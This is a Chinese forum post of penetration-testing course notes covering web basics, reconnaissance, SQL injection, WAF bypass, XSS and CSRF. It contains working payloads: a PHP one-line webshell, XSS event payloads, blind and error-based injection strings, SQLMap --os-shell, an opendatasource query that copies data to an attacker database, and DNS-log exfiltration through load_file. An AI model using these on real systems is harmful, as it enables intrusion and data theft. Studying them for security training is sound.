正式课 个人整理笔记 [随缘更新]

jacker778   ·   发表于 2023-08-04 20:33:35   ·   学习杂记

这篇MarkDown是我根据正式课学习中的知识归纳总结写的笔记,根据我的学习进度随缘更新,在每个主题下都有相应的优质作业思路分析,当你做作业没有思路时是你最好的帮助

在该笔记中出现的任何错误都请在评论区留言,我将及时更正

last-modified: 2023/08/16

为了最佳的观阅体验,手机端请设置浏览器标识为PC(否则吞文本+MD结构无法正常显示)


1. 前后端编程基础

1.1 PHP相关

1.1.1 结构

PHP基本结构如下

  1. <?php
  2. // 你的代码
  3. ?>

注意每行代码要用分号结尾

1.1.2 基本命令

  1. echo 'Hello word'; // 打印 Hello world
  2. echo ipconfig; // 打印 网络适配器
  3. $sex = 1; // 设置变量
  4. var_dump($sex) // var_dump()函数查看变量类型与内容
  5. echo "$sex"; // 双引号能够解析变量
  6. echo '$sex'; // 单引号内所有内容视为字符串
  7. echo 'I have '.$sex.' apple(s).' // 用.拼接字符串/变量
  8. if($sex == 1) // IF函数判断分支
  9. echo 'YES';
  10. while($sex<5){ // While()循环
  11. $sex = $sex + 1;
  12. if($sex == 3)
  13. break; // Break()打破循环
  14. }
  15. die("Bye!"); // die()结束执行
  16. $command = 'echo "hello world"';
  17. eval($command); // eval()将字符串当命令执行 [高危函数]
  18. <?php eval($_REQUEST[8]) ?> // php一句话木马

变量命名名字应为 $ 标识 且必须是字母[a-zA-Z]、下划线、数字[0-9]名字,不能数字开头 例如$sex

1.1.3 运算符

  1. + - * / 加减乘除 % 取余
  2. > >= < <= <> != == 逻辑运算符

1.1.4 字符串处理函数

  1. strstr(string,search,[before_search])
  2. // 字符串的匹配和寻找 string被搜索的字符串 search要搜索的字符串 before_search可选,如设置为 "true"将返回 search 参数第一次出现之前的字符串部分
  3. str_replace(find,replace,string,[count])
  4. // 字符串替换函数 find要被替换的值 replace要替换的值 string被搜索的字符串 count可选,返回替换数进行计数
  5. strlen(string) // 返回字符串长度

1.1.5 数组

形如array(key1=>value1, key2=>value2, ...)是数组

  1. $age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
  2. echo "Peter is " . $age['Peter'] . " years old.";
  3. var_dump($age)
  4. // array(3) {["Peter"]=>string(2) "35",["Ben"]=>string(2) "37",["Joe"]=>string(2) "43"}

1.1.6 传参

  1. $_GET // GET传参
  2. $_POST // POST传参
  3. $_REQUEST // GET传参+POST传参+ Cookie传参[特定版本]
  4. $_SERVER // Header传参
  5. echo $_GET['sex']; // 输出GET传参key为'sex'的值

所有传参变量都是数组类型 使用key定位值

1.1.7 与数据库交互

  1. $管道 = mysqli_connect($host,$db_user,$db_pass[,$database_name]) // 连接数据库 创建管道
  2. mysqli_select_db($管道,$database_name) // 选择库
  3. $sql结果 = mysqli_query($管道,$commamd) // 执行sql语句
  4. mysqli_fetch_array($sql结果) // mysql结果对象转数组

优质作业解析: https://bbs.zkaq.cn/homework/62797.html


1.1.8 正则

php中正则规则要加正则标识符/ /

/i 不区分大小写 /A 规定从头匹配 /s .将匹配一切字符 /x 正则中的空白字符会被忽略

*[起始值-结束值] 表示一个区间内某个字符 顺序基于ascii码值 []内^表示取非集 [^a-z] 取除了小写字母的字符
数字:\d [0-9] 非数字: \D
字母:[a-z] [A-Z] [a-zA-Z] 数字加字母:[0-9a-zA-Z]
空白字符:\s 非空白字符:\S
单词字符(字母+数字+下划线):\w 非单词字符:\W
()内视为整体 改变优先顺序
^匹配字符串的开头 $匹配字符串的结尾 /^字符串$/限定长度
.通配一个字符(不匹配换行)
+匹配连续1个以上的字符
匹配连续0个以上的字符
.*通配符(且通配最大长度) \转义字符 |或者符(等同or作用)
{n,m} 限定符,前面字符最少n次最多m次 a{n,m} 为 最少n个a,最多m个a,匹配过的字符取最大匹配的字符串

例如 a+ 匹配abcaab 匹配2次[a,aa] a.*b 匹配abcaab 匹配1次[abcaab]
例如 a{1,3} 匹配aaaaa 匹配2次[aaa,aa]结果均满足>=1个a,<=3个a

  1. preg_match(正则表达式, 匹配字符串, [结果存放的数组]) // 返回是否匹配
  2. preg_match_all(正则表达式, 匹配字符串, [结果存放的数组]) // 返回匹配次数
  3. preg_replace(正则表达式, 替换值, 匹配字符串) // 返回替换后的字符串

优质作业解析: https://bbs.zkaq.cn/homework/62619.html

1.2 HTML相关

1.2.1 XSS相关的HTML标签

  1. <!-- <svg>内嵌标签 -->
  2. <svg onload=alert(2)></svg>
  3. <!-- 执行了JS语句 -->
  4. <!-- <img>图片标签 -->
  5. <img src='#' onerror=alert(1) />
  6. <!-- src图片链接/路径 onerror错误事件 -->
  7. <!-- 这里一定会触发onerror的JS弹窗 因为图片链接无效 -->
  8. <!-- <a>是HTML超链接跳转标签 -->
  9. <a href="http://www.w3school.com.cn">W3School</a>
  10. <!-- href决定跳转链接 <a>需要</a>闭合 -->
  11. <a href=javascript:alert(1)>Click</a>
  12. <!-- JS伪协议 -->

1.2.2 常用事件

  1. onerror= 发生错误时 onload= 成功加载时 onclick= 点击时
  2. oninput= 输入时 onfocus= 焦点聚焦时(可以加上autofocus自动聚焦)
  3. // XSS注入时最好选择不需要用户交互的事件 例如 onfocus=alert(1) autofocus

1.2.3 表单

  1. <form action='1.php' method='GET'>
  2. <!-- action决定传递值到何处 可选url/文件路径 -->
  3. <!-- method选择传参方式 可选 GET/POST-->
  4. <input type=$type name=$name />
  5. <!-- input type : text/password/number/file/checkbox/image/reset -->
  6. <input type=submit value=$提交按钮名/>
  7. </form>

1.3 JS相关

1.3.1 执行方式

JS语句可以被内嵌在HTML源码中, 用<script>标签执行JS命令, 也能在<a>标签中用javascript:来执行JS语句,还有其他方式执行JS语句

  1. <body>
  2. <script>
  3. alert(1)
  4. </script>
  5. <a href="javaspscript:alert(1)">Click</a>
  6. <!-- JS伪协议 -->
  7. </body>

1.3.2 执行位置

JS语句不仅在HTML源码中可以被执行,用户也能手动在浏览器控制台执行JS语句

XSS注入正是利用了这一点,在浏览器端执行JS完成注入


1.4 数据库相关

1.4.1 常见数据库

  1. Mysql 操作灵活 容错高 函数丰富 最常用的数据库
  2. Access 只有一个库 比较老的数据库
  3. MSSQL(SQL Server) 一个用户就是一个库
  4. Oracle 语法严格 一个用户就是一个库 通常大型企业才会使用

1.4.2 数据库结构

数据库结构分为库, 表, 字段, 记录四种 当要定位某一具体结构时使用库.表.字段.记录来定位
如果外链数据库则使用管道.库.表.字段.记录

1.4.3 数据库基本命令

  1. show databases/tables; // 列出所有库/当前库所有表
  2. use $database_name; // 选定数据库
  3. desc $table_name; // 查看表结构
  4. create database/table $name; // 建立库、表
  5. drop database/table $name; // 删除库、表
  6. alter table $table_name add $column_name $column_type; // 增加表里面的字段
  7. alter table $table_name drop $column_name; // 删除表里面的字段
  8. alter table $table_name change $old_column_name $new_column_name $new_column_type; // 修改表里面的字段
  9. insert into $table_name values ($value1, $value2, ...); // 插入一条/多条完整数据
  10. insert into $table_name($column1, $column2, ...) values ($vale1, $value2, ...); // 插入一条/多条指定字段的数据
  11. // insert 语句中插入数据的字段数必须与选择的字段数匹配
  12. select * from $table_name [where $条件]; // 查询完整数据
  13. select $column1, $column2, ... from $table_name [where $条件]; // 查询指定字段的数据
  14. update $table_name set value1, value2, ... [where $条件]; // 修改完整数据
  15. update $table_name set $column1=$value1, $column2=$value2, ... [where $条件]; // 修改指定字段的数据
  16. delete from $table_name [where $条件]; // 删除数据

英文分号结尾,代码部分大小写不敏感,但是数据敏感

1.4.4 数据库运算符和结果处理

  1. order by $column_name/$column_id [asc/desc] // 结果排序
  2. limit n,m // MYSQL专属 截取从n开始的m条数据[n索引从0开始]
  3. top n // 从前往后截取n条数据
  4. like '%$name%' // 模糊查询
  5. 运算符号 + - * / %
  6. 逻辑运算 not and or

1.4.5 联合查询与子查询

  1. union // 联合查询[去重] 将前后两条select结果拼接 注意字段数相同[通常情况下字段类型也要匹配]
  2. union all // 联合查询[不去重] 同union
  3. (select * from user) // 子查询:优先执行的查询,有返回值,用()包围

2. 信息收集

2.1 企业查询

2.2 域名信息查询

2.3 子域名查询

2.4 目录爆破

找后台/找目录/找信息泄露

2.4.1 Google Hacking的语法

  1. Google Hacking
  2. AND OR NOT https://www.exploit-db.com/google-hacking-database
  3. site:指定域名 filetype:指定文件类型 inurl:指定URL
  4. intitle:标题中关键字 intext:网页内存在内容

2.5 指纹识别

识别目标网站是否为CMS 网站的框架、结构

  • 指纹识别 Wappalyzer插件 / nmap

2.6 端口/服务查询

  • nmap

2.6.1 Nmap的使用

  1. Nmap:主机发现、端口扫描、服务与版本扫描、漏洞扫描 https://blog.csdn.net/smli_ng/article/details/105964486
  2. -iL 列表扫描 -v 展示详细信息 -p 指定端口[-p 1-65535 全部]
  3. -sP Ping扫描 -sU UDP扫描[53,161] -sT TCP扫描 -sV 扫描服务版本
  4. -Pn 强制扫描 -A 全面扫描 -sS TCP扫描[默认] -F 快速扫描 -T4 扫描速度[默认3,越高越快]
  5. Nmap生成报告:-oX Xml文件[导入数据库] -oN TXT文件

2.7 服务爆破

  • Hydra

2.7.1 Hydra的使用

  1. Hydra:九头蛇 服务爆破 [xhydra 图形化] hydra 参数 ip 服务
  2. -l/L 指定用户名/用户名列表 -p/P 指定密码/密码列表 -s 指定非默认端口
  3. -v 显示详情 -e n 空密码试探 -C 使用冒号分隔列表[用户名:密码]替代-L/-P
  4. -o 输出文件 -t 指定线程数 -M 指定目标列表 -R 继续上次进度爆破 -S 采用SSL链接

2.8 网络空间搜索引擎


3. SQL注入

3.1 SQL注入定义/分类/防御/流程

3.1.1 定义

SQL注入:用户输入的数据当作了SQL代码执行

3.1.2 分类

  1. 传参方式:GET注入,POST注入,Cookie注入,HEAD注入
  2. 传参值:数字型注入,字符型注入
  3. 攻击手法:联合查询注入,报错注入,盲注(布尔,时间)

同一个注入点不同手法的注入属于同种漏洞,不同注入点可以认定多个

万能密码:当有两个值被作为条件,在第一个值最后输入\,第二个值输入or 1=1 -- a可以直接查询数据 (前提魔术引号未开启)

3.1.3 防御

作为网站管理员:
过滤输入(例如PHP中的magic_quotes_gpc)

3.1.4 流程

通用流程: 找注入 -> 猜字段数 -> 找输出点 -> 查库名 -> 查表名 -> 查字段 -> 查数据

3.1.4.1 找注入

有回显时首先尝试数值型注入and 1=1and 1=2, 如果无法测试出注入则应考虑引号/括号闭合问题,注意后面需要添加-- a来注释后面的引号 例如传入' and 1=2 -- a来闭合下列SQL语句
select * from user where id='$uname'
将会变成select * from user where id='' and 1=2 -- a'
实际执行语句为select * from user where id='' and 1=2

通常单独或组合使用) “ ‘ 字符闭合

当无回显时,考虑使用延时函数或能延时的语句来传入查看是否存在延时,存在延时即存在注入
例如MYSQL可以使用select sleep(10)来延时

3.1.4.2 猜字段数

通常情况下使用order by n或者其他语法来根据第n个字段排序, 当第n个字段不存在时会报错

3.1.4.3 找输出点

通常情况下使用union select来联合输出一些复杂的值, 然后查找页面源代码看看有没有这些值

3.1.4.4 查库名

利用各个数据库自带函数/库/表来查询库名, 例如MYSQL利用database()返回当前库名

3.1.4.5 查表名

利用各个数据库自带函数/库/表来查询表名, 例如MYSQL利用information_schema.tables系统自带表可以查询所有表

3.1.4.6 查字段

利用各个数据库自带函数/库/表来查询表名, 例如MYSQL利用information_schema.columns系统自带表可以查询所有字段, 或者使用desc 库.表;来查询一个表的字段以及结构

3.1.4.7 查数据

每种SQL注入方法有着不同的查数据方式, 例如联合查询注入使用union select来拼接数据输出; 盲注将数据分割成每个字符来判断,最终拼接出数据

3.1.4.8 截取数据

  1. 对于MySql 可以使用limit便捷的截取数据
  2. 对于其他数据库:
  3. 1. 使用 top n 取前n条数据 后面可以加上desc/asc设置排序方式
  4. select top 10 uname from admin order by desc
  5. 通过修改10就能设置查看第几条数据
  6. 2. where 条件限定 not in (子查询) 排除特定的数据
  7. select uname from admin where uname not in (select top 10 uname from admin)
  8. 通过修改10就能查看第n+1条数据

3.2 SQLMap的使用

  1. -u "$url" 检测URL是否存在注入,GET注入需要传入注入点,POST注入需要接参数--form
  2. //boolean-based blind 布尔盲注
  3. //error-based 报错注入
  4. //time-based 时间盲注
  5. -r "$FilePath" 使用数据包跑POST注入 字段值后需要加* (用于header注入或者需要权限的注入)
  6. --form 检测页面表单执行POST注入
  7. --cookie "键=值" 跑指定的cookie键值
  8. --level=1-5 指定执行检测的等级 3适中
  9. --risk=1-3 指定执行检测的风险 2适中
  10. --dbs 查库 --flush-session 刷新缓存,重新跑数据
  11. -D $db_name 指定数据库 --tables 查该数据库下的所有表
  12. -T $table_name 指定表 --columns 查该表所有字段
  13. -C $字段名 指定字段 --dump 查询记录
  14. --batch 遇到询问取默认值
  15. --delay=n 访问延迟,一秒n
  16. --tamper 脚本文件 使用绕WAF脚本跑
  17. --proxy="代理URL" 代理跑sqlmap
  18. --os-shell 拿下目标服务器shell

SQLMAP手册:https://www.cnblogs.com/hongfei/p/3872156.html

3.3 各数据库特性注入利用

3.3.1 Mysql

  1. database()函数返回当前数据库名
  2. limit n,m 截取指定数量的记录
  3. concat(str1, str2) 拼接字符串函数
  4. sleep(n)休眠函数 休眠n [要被执行条件]
  5. MySQL的数据(字符串)可以用16进制写,做到无需传入引号
  6. group_concat($column_name) 将多条记录值拼接一起输出
  7. 5.0以上有一个系统自带库information_schema,里面有tablescolumns表,分别是所有的 表与库的对应 字段与表与库的对应
  8. 可以通过 information_schema.tables 来定位这张tables表,columns表同理
  9. 两张表里面重要的字段:
  10. column_name 字段名 table_name 表名 table_schema 库名
  11. group_concat($column_name) // 将多条记录值拼接一起输出
  12. select 语句可以不加上 from,联合查询字段类型可以不同

3.3.2 Access

  1. 没有系统自带库,只能爆破表名/字段名
  2. 特殊注入方式: 偏移注入
  3. exists (子查询) 检测子查询是否有结果,返回TrueFalse
  4. 通常通过exists来爆破表名 -> 字段: or exists (select username from admin)
  5. select 语句要加上 from

3.3.3 SQL Server

  1. 一个用户就是一个库
  2. 有三张系统自带表:
  3. sysdatabases所有库 sysobjects所有表 syscolumns所有字段
  4. 里面重要的字段:
  5. name(目标结构名称 str) id(表id int) xtype(表类型 str) length(int)
  6. id=来选中表 其中xtype='U'代表用户创建,S代表系统创建
  7. select * from sysobjects where xtype='U' and id<>1
  8. 在联合查询中,必须字段数相同且类型相同 [null 可以替代任何类型]

3.3.4 Oracle

  1. 语法严格 大小写敏感
  2. || 是字符串连接符
  3. dual虚表满足格式需要
  4. 一个用户代表一个库 => user返回库名/用户名
  5. 有用的系统自带表:
  6. ALL_TABLES所有表 ALL_TAB_COLUMNS所有字段
  7. USER_TABLES用户能访问的所有表 USER_TAB_COLUMNS用户能访问的字段
  8. 重要的字段:
  9. TABLE_NAME 表名 COLUMN_NAME 字段名 DATA_TYPE 字段类型
  10. DBA_TABLES意为DataBase Admin拥有的或可以访问的所有的关系表
  11. DBA_TABLES >= ALL_TABLES >= USER_TABLES
  12. select * from v$version 查版本
  13. rownum 行号 可以作为where条件
  14. 报错函数:1=ctxsys.drithsx.sn(1,数据/子查询) 需要作为条件被判断
  15. 回显: DRG-11701:thesaurus 数据 doesnot exist
  16. 如果联合查询注入类型错误:
  17. 1. 转码 Oracle自带转码函数
  18. 2. 报错注入

3.4 GET注入

以GET传参让服务器执行输入的SQL语句的注入

通常GET传参显示为在URL后加上形如?key1=value1&key2=value2&...字样,每个键对应每个值, 用&隔开
优质作业解析: https://bbs.zkaq.cn/homework/62799.html

3.5 POST注入

以POST传参让服务器执行输入的SQL语句的注入

跟GET注入的流程和操作类似,只是传参方式的不同
修改POST传参的值需要抓包修改数据包的POST传参值

通常POST传参在数据包末尾显示形如key1=value1&key2=value2&...字样, 用&隔开
POST传参不受URL限制,没有URL编码

SQLmap跑POST注入需要抓取数据包并在需要跑的POST字段值最后面加上*
优质作业解析: https://bbs.zkaq.cn/homework/62845.html

3.6 Header注入

当网站将Header请求头的数据插入到数据库时,以Header传参让服务器执行输入的SQL语句的注入

Header注入通常不会有输出点,一般都是盲注

网站通常只会记录用户的Header,不记录游客
一般在当登陆成功/修改成功时记录

HEAD注入通常没有回显,要配合报错注入一起使用
HEAD键和值中间的空格不要动!HEAD值末尾不能有多余空白字符!

  1. 比较常被记录的Header头:
  2. User_Agent 访问者的设备信息
  3. Referer 上一个页面的URL(用于引流统计/鉴权)
  4. X_Forwarded_For 用来表示HTTP请求端真实IP

SQLmap跑Header注入需要抓取数据包并在需要跑的Header字段值最后面加上*
优质作业解析: https://bbs.zkaq.cn/homework/62807.html

3.7 Cookie注入

网站获取$_REQUEST时,以POST传参让服务器执行输入的SQL语句的注入

cookie传值需要URL编码

Cookie注入时要把GET类型传参删除,否则优先执行GET传参

可以在控制台输入JS语句修改Cookie: document.cookie="键=值"

使用JS修改Cookie时,最好使用escape()函数对字符串转码: document.cookie="键="+escape("值")

抓包数据包修改Cookie时,在数据包Header中找到Cookie一行加上; 键=值,如没有则新建一行Cookie:键=值,每个Cookie用;分隔
优质作业解析: https://bbs.zkaq.cn/homework/62746.html

3.8 联合查询注入

使用union select连接查询到的结果输出

如果页面输出点只输出一条数据, 需要修改union select前面的查询语句为false, 例如下面的例子
select id, flag from admin where id='2' and 1=2 union select phone, name from user
这里的and 1=2就是为了让前一条查询语句为false查不出数据, 才能让后面的union select查询到的数据输出
优质作业解析: https://bbs.zkaq.cn/homework/62799.html

3.9 报错注入

依靠数据库函数,产生报错详情,从中获取需要的信息(前提是没有关闭数据库报错显示)

更适用页面没有输出点的情况下使用

  1. MYSQL
  2. updatexml(原内容,文件路径,更新的内容)
  3. 当路径为非法字符(例如!)时,函数报错文件路径
  4. 文件路径可以利用concat()拼接子查询/内容
  5. updatexml(1,concat('!',(select database())),2)

优质作业解析: https://bbs.zkaq.cn/homework/62875.html

3.10 盲注

将数据拆分为每个字符,对每个字符进行猜测,最终将每个字符重新组合得到结果

没有输出点(不会显示具体查出来的内容),报错注入无法使用, 可以使用盲注

存在盲注时,可以尝试能否使用报错注入、反弹注入、DNS-LOG注入 来简化注入过程

盲注分为两种,一种是布尔盲注,另一种是时间盲注
布尔盲注:查到数据和查不到有不同回显
时间盲注:无论如何只有一个回显

通常使用Burp/SQLmap跑盲注(过于繁琐)

下面是对于MYSQL盲注的思路,里面所使用的函数可能在其他数据库中不存在

  1. 涉及函数:
  2. length($str) 返回字符串长度
  3. substr($str,$起始索引,$截取长度) 截取字符串
  4. ascii($Char) 字符转化为ASCII
  5. char($数字列表) ASCII转字符串
  6. if(条件,成立执行的命令,不成立执行的命令) 用于延时盲注 配合sleep()能打出像布尔盲注一样不同反馈结果
  7. 原语句:select uname from user where id=$ID
  8. 对于布尔盲注:想要获取表名,首先获取表名长度,需要将表名切割成每个字符,然后转成ascii码作判断
  9. and length(database())=12 // 用Burp跑12这个值 手注时使用>或<配合二分法更快
  10. and ascii(substr(database(),1,1))=65 // Burp跑第一个1与后面的65 跑库名
  11. 其他跑表名/字段名/数据同理
  12. 对于时间盲注:与布尔盲注类似的流程,因为没有回显,所以要用sleep()创造出不同的反馈
  13. and if(length(database())=12,sleep(5),1) // Burp跑12 猜中库长时延时5秒
  14. and if(ascii(substr(database(),1,1))=65,sleep(5),1) // 同理
  15. 最后跑出来的ascii数值找到对于的字符重新组合就是结果,可以直接将ascii数列发送到char()函数直接出结果

Burp跑Ascii值时,取值范围应为32~128
Burp也可以不跑Ascii值,直接让每个字符=’a’跑字符a,区间为0-9a-zA-Z 但是可能会受到魔术引号的限制

布尔盲注优质作业解析: https://bbs.zkaq.cn/homework/62815.html
延时盲注优质作业解析: https://bbs.zkaq.cn/homework/62818.html

3.11 宽字节注入

当网站开启了魔术引号,且数据库使用与网站不同的编码时,传入特定数值让其与转义符配对形成新的字,从而绕过魔术引号形成注入

魔术引号: 将传入的数据中的所有引号和\前加上转义符(\)

开启魔术引号后,当传入的数据(字符串)需要写到特殊字符时,用 子查询嵌套 或 0x16进制转换法

  1. ASCII 单字节编码 GBK 双字节编码 UTF-8 三字节编码(对于汉字)

对于网站使用UTF-8数据库使用GBK:

GET传参:在引号前加上能和%5c组成汉字的字符即可,例如%df %9c (%是URL编码)
也可以直接在引号前传入汉字,3B+转义符1B=2个2B汉字

POST传参:Burp抓包改HEX,在引号前加上能和5c组成汉字的字符即可,例如df 9c

SQLmap跑宽字节注入时,需要手动帮助闭合魔术引号(GET在URL加%df/POST在数据包加0xdf)
优质作业解析: https://bbs.zkaq.cn/homework/62820.html

3.12 堆叠注入

传入分号使SQL语句结束,之后新起一条SQL语句

堆叠注入能够改变SQL语句的基本属性,例如从select变成实现insert功能

判断:传入分号后,后面接入的SQL语句能够生效

3.13 反弹注入

将目标查询的结果插入到自己的数据库中,需要堆叠注入配合

插入的字段数要与插入到的表的字段数匹配

  1. SQL Server
  2. opendatasource('sqloledb','server=$主机,$端口;uid=$账号;pwd=$密码;database=$库名')
  3. 利用 连接.库.表.字段 来定位插入到哪
  4. insert into opendatasource('sqloledb','server=$主机,$端口;uid=$账号;pwd=$密码;database=$库名').admin.dbo.news select * from admin --

优质作业解析: https://bbs.zkaq.cn/homework/62463.html

3.14 偏移注入 [Access]

每次偏移不同的步数让不同的字段移到输出点上,输出数据

知道表名和输出点,不知道字段名和字段数,或者当爆破不出字段名时,可以使用偏移注入 (因为只有Access没有系统自带表可以查询到字段名,故偏移注入在Access注入才能发挥作用)

前提:要查询的表字段数<=当前表字段数

表名.* 占查询位,改变其占的查询位数就能够使不同的数据映射到输出点上

  1. // 假设知道news表3个字段, 输出点是第2,3个字段
  2. select id, uname, pwd, abc, edf from admin where 1=2 union select news.*, 3, 4, 5 from news
  3. // 这条语句猜测news表中是否是两个字段
  4. // 通过不断改变猜测的news表字段数最终能够猜出news字段数为3
  5. select id, uname, pwd, abc, edf from admin where 1=2 union select 1, news.*, 5
  6. // 这条语句将news表中第1,2个字段偏移到了输出点上
  7. // 通过不断偏移news表的位置,可以获取部分/全部数据

偏移注入不一定能输出所有数据

  1. 假设union前的select语句有10个字段,输出点为237,中间值为10/2=5
  2. 那么能输出的字段应为1~3,7~107个字段

为了减少偏移注入的繁琐计算和流程,我写了脚本在附件
优质作业解析: https://bbs.zkaq.cn/homework/62830.html
脚本配合作业: https://bbs.zkaq.cn/homework/62705.html

3.15 DNS-LOG注入

让对方网站访问DNS服务器请求域名ip,其中请求的域名可以用数据拼接,最后查看DNS服务器的log文件获得查到的数据

在线网站:dnslog.cn

前提:对方网站存在SQL注入,关闭了安全锁,能够使用load_file()函数和SMB服务

Linux不能DNS注入,因为linux默认不支持SMB服务

load_file(路径) 函数可以走SMB文件共享协议读取外部文件,配合concat()和子查询来获取信息
load_file(concat('//',database(),'/.子域名.dnslog.cn/123'))
load_file() 函数 需要被当作条件判断
优质作业解析: https://bbs.zkaq.cn/homework/62844.html

3.16 WAF原理/识别/绕过/绕过脚本编写

WAF: 网站应用级防入侵检测系统

3.16.1 原理

检测机制:正则表达式匹配

当匹配了名单中的正则,视传参为恶意传参,随后对目标进行限制访问等防护措施

网站可能有自带防护策略,并不是遇到防护就是WAF

3.16.2 识别

当传入恶意传参被拦截,可能是因为WAF(也可能不是)

由于不同品牌的WAF拦截页面各不相同,所以可以通过拦截页面查表得知WAF品牌 (看图识别WAF)

识别常见WAF拦截页面:https://blog.csdn.net/weixin_44420143/article/details/118602836

3.16.3 绕过

想要绕过WAF先在本地测试,不要直接去目标网站测试(会被Ban)

  1. 用其他函数/写法替代绕过
    被WAF拦截的可能只是传参中的某个函数/某部分语法,尝试使用其他函数/语法替代

    1. 空格替代+ (+是URL编码) sleep()用`sleep`()代替 等待
  2. 大小写绕过
    通过更改SQL语句的大小写绕过,成功率极低

  3. 双写绕过
    某些WAF/策略会删除一次检测的在黑名单里的代码,此时使用双写绕过

    1. 网站删除匹配到的union
    2. 传入uniounionn -> unio(union)n -> union
  4. 编码绕过
    有些网站功能需要有编解码,WAF不识别编解码形成绕过

  5. 注释绕过
    某些WAF认为注释内(后)的东西是安全的,不会检测 可以尝试hpp

    1. 访问 http://host:port/index.php?a=/*a=' and 1=1 union select * from admin -- */
    2. 第二次赋值a的值会覆盖掉第一次a的赋值,导致WAF认为传参在/**/注释内是安全的,形成绕过
  6. 文件白名单绕过
    某些WAF对TXT文件,JPG等文件的传参不会检测,而部分版本nginx如找不到文件会将传参传给前一路径的文件,形成绕过

    1. http://host:port/index.php/1.txt?a=' and 1=1 union select * from admin -- a
    2. WAF认为我的传参传给TXT文件是安全的,不检测;Nginx找不到1.txt则把传参向前传递给index.php,形成绕过
  7. 权限白名单绕过
    配置过的WAF对某些访问者(管理员等)会直接放行,不检测代码
    伪造/获取管理员的身份:偷Cookie/改Ip 等

  8. 垃圾数据填充绕过
    当传入极多的数据时,某些WAF只检测其中一部分,如果这部分参数非恶意就会放行,没有检测垃圾数据末尾的恶意参数,形成绕过
    通常填充15W~30W字符

  9. 锚点绕过
    在XSS注入时,当出现location.hash.substr(n)时代表获取锚点后的字符串,而锚点不与服务器交互,导致在锚点后写XSS语句可以绕过WAF

3.16.4 绕过脚本编写

SQLmap支持使用绕WAF脚本,在tamper目录下,可以使用Python2的语法来构造脚本

  1. def dependencies():
  2. pass
  3. # 设置脚本使用范围 通常写Pass
  4. def tamper(payload, **kwargs):
  5. """
  6. 脚本主函数:
  7. payload:SQLmap传入的原始SQL注入语句
  8. **kwargs:修改Header头的数据,几乎无用
  9. 在该主函数中,通过一系列函数将payload处理之后,得到的结果用return返回
  10. """
  11. return result

4. XSS注入 / CSRF

4.1 XSS注入定义/分类/作用/一般流程/防御

4.1.1 定义

用户的输入当做前端代码(通常是JS)执行

4.1.2 分类

XSS注入分为三种,分别是:

  • 反射型XSS [低危]
    一次性XSS,传参带恶意语句,在用户访问时注入

  • 存储型XSS [中高危]
    XSS注入语句被存入数据库,其他用户调出该数据就会被注入

  • Dom-Based XSS
    基于DOM文档对象模型的一种漏洞,通常属于存储型XSS,不与服务器交互

4.1.3 作用

窃取Cookie,控制浏览器,获取浏览器保存的明文密码,截取网页屏幕,网页上的键盘记录,获取内网ip等待

其中,只能窃取同源的Cookie,即:同协议,同域名,同端口

4.1.4 一般流程

测试流程:
见框就插XSS语句 -> 检查页面输出点/HTML源码 -> 根据输出点改变JS语句类型 -> 尝试引号/括号闭合 -> 尝试绕过/更换其他语法 -> 成功[失败]注入

攻击流程:
JS执行恶意代码 -> 获取Cookie -> 发送Cookie -> 攻击者收到Cookie

4.1.5 防御

作为网站管理员:

  1. HTML实体化<>过滤成&lt;%gt;导致JS语句结构被破坏

  2. 过滤

作为用户:

  1. 遇到形如http://host:port/path?<script>XXX</script>在域名/路径后接上一长串的传参的链接需警惕 (尤其传参含有script)

  2. 不轻易点击短链接 (压缩后的链接,形如http://xx.xx/xxxxxx)

  3. 不轻易扫二维码 (最难防范,最好备一个专门的扫码软件与其他浏览器作隔离)

  4. 浏览器隐私模式访问 (可以隔离普通模式下的Cookie)

通常情况下,如果要访问未知链接/二维码,请使用浏览器隐私模式/另外的扫码软件

4.2 相关语句/判定

相关语句请查看

  • 1.2.1 XSS相关的HTML标签
  • 1.3 JS相关

通常执行JS中的alert()弹窗函数来证明网站存在XSS漏洞

注意要当其他用户能够弹窗才能证明XSS,自己弹窗无法证明

JS代码在前台是不可见的,所以如果输入的数据消失了,大概率XSS生效了

4.3 XSS在线平台

XSS在线平台能快速设置XSS注入后实现的功能, 并提供相应的XSS代码;XSS平台分有基本型和专业型

4.4 反射型XSS (GET传参)

通常在URL传参中带有恶意传参(XSS攻击语句),当用户访问后浏览器执行XSS语句形成注入

在CSRF中,还可以构造数据包发送POST/Cookie传参的反射型XSS,详见4.7.5.2 POST/Cookie传参

GET传参反射型XSS形如http://host:port/path?<script>XXX</script>在域名/路径后接上一长串的传参

  • 标签型JS包含 <script></script> 字样
  • 伪协议型JS包含 javaspscript: 字样
  • 事件型JS包含 onxxxx=yyyy 字样 其中xxxx是事件 yyyy是JS语句, 最好选择不需要用户交互的事件,例如onfocus=alert(1) autofocus自动聚焦后弹窗

优质作业解析: https://bbs.zkaq.cn/homework/62485.html

4.5 存储型XSS

XSS语句被存入网站数据库,当其他用户访问带有调用该XSS语句的网页时形成注入

存储型XSS通常会影响网页的正常运行,而且普通用户通常都能够通过访问原网站URL被注入,所以相对而言危害更大

通常在网站留言板,个人账户信息,文章/商品详情等地方可能存在存储型XSS

优质作业解析: https://bbs.zkaq.cn/homework/62500.html

4.6 Dom-Based XSS

通过恶意传参修改页面的DOM结构,将XSS语句传入DOM结构中被解析,形成注入

Dom型XSS仅在客户端执行,不会与目标服务器交互,所以网站很难察觉

Dom型XSS通常是反射型XSS,也有少部分存储型XSS

通常在页面源码寻找下列可能被Dom-XSS注入的语法

  1. document.write innerHTML eval document.referer location

document.write能识别native编码,所以遇到拦截可以尝试转native编码

当网站有WAF拦截时,看看有没有location.hash.substr可以利用锚点绕过WAF

优质作业解析: https://bbs.zkaq.cn/homework/62707.html

4.7 CSRF

4.7.1 定义

伪造客户端请求,向目标网站发送带有用户Cookie的数据包,利用用户身份完成一系列操作

4.7.2 前提/原理

CSRF的前提是:用户对于目标网站的权限Cookie依然生效(通常是登录之后,关闭浏览器之前这段时间)

攻击者构建能够在客户端向目标网站发送数据包请求的网页,诱导用户点击该网站后,利用浏览器将用户的权限Cookie在用户不知情的情况下发送了伪造的请求(网站的任何功能本质都是数据包的传递)

CSRF具有针对性,需要攻击者自己构建网页并能够使目标访问

优质作业解析: https://bbs.zkaq.cn/homework/62768.html

4.7.3 防御

作为网站管理员:

  1. 添加验证码机制
  2. 使用Token

作为用户:

  • 浏览器隐私模式访问

4.7.4 构造网页

利用Burp抓到目标网站的请求数据包,右击发送到相关工具(Engagement) -> 生成CSRF Poc即可

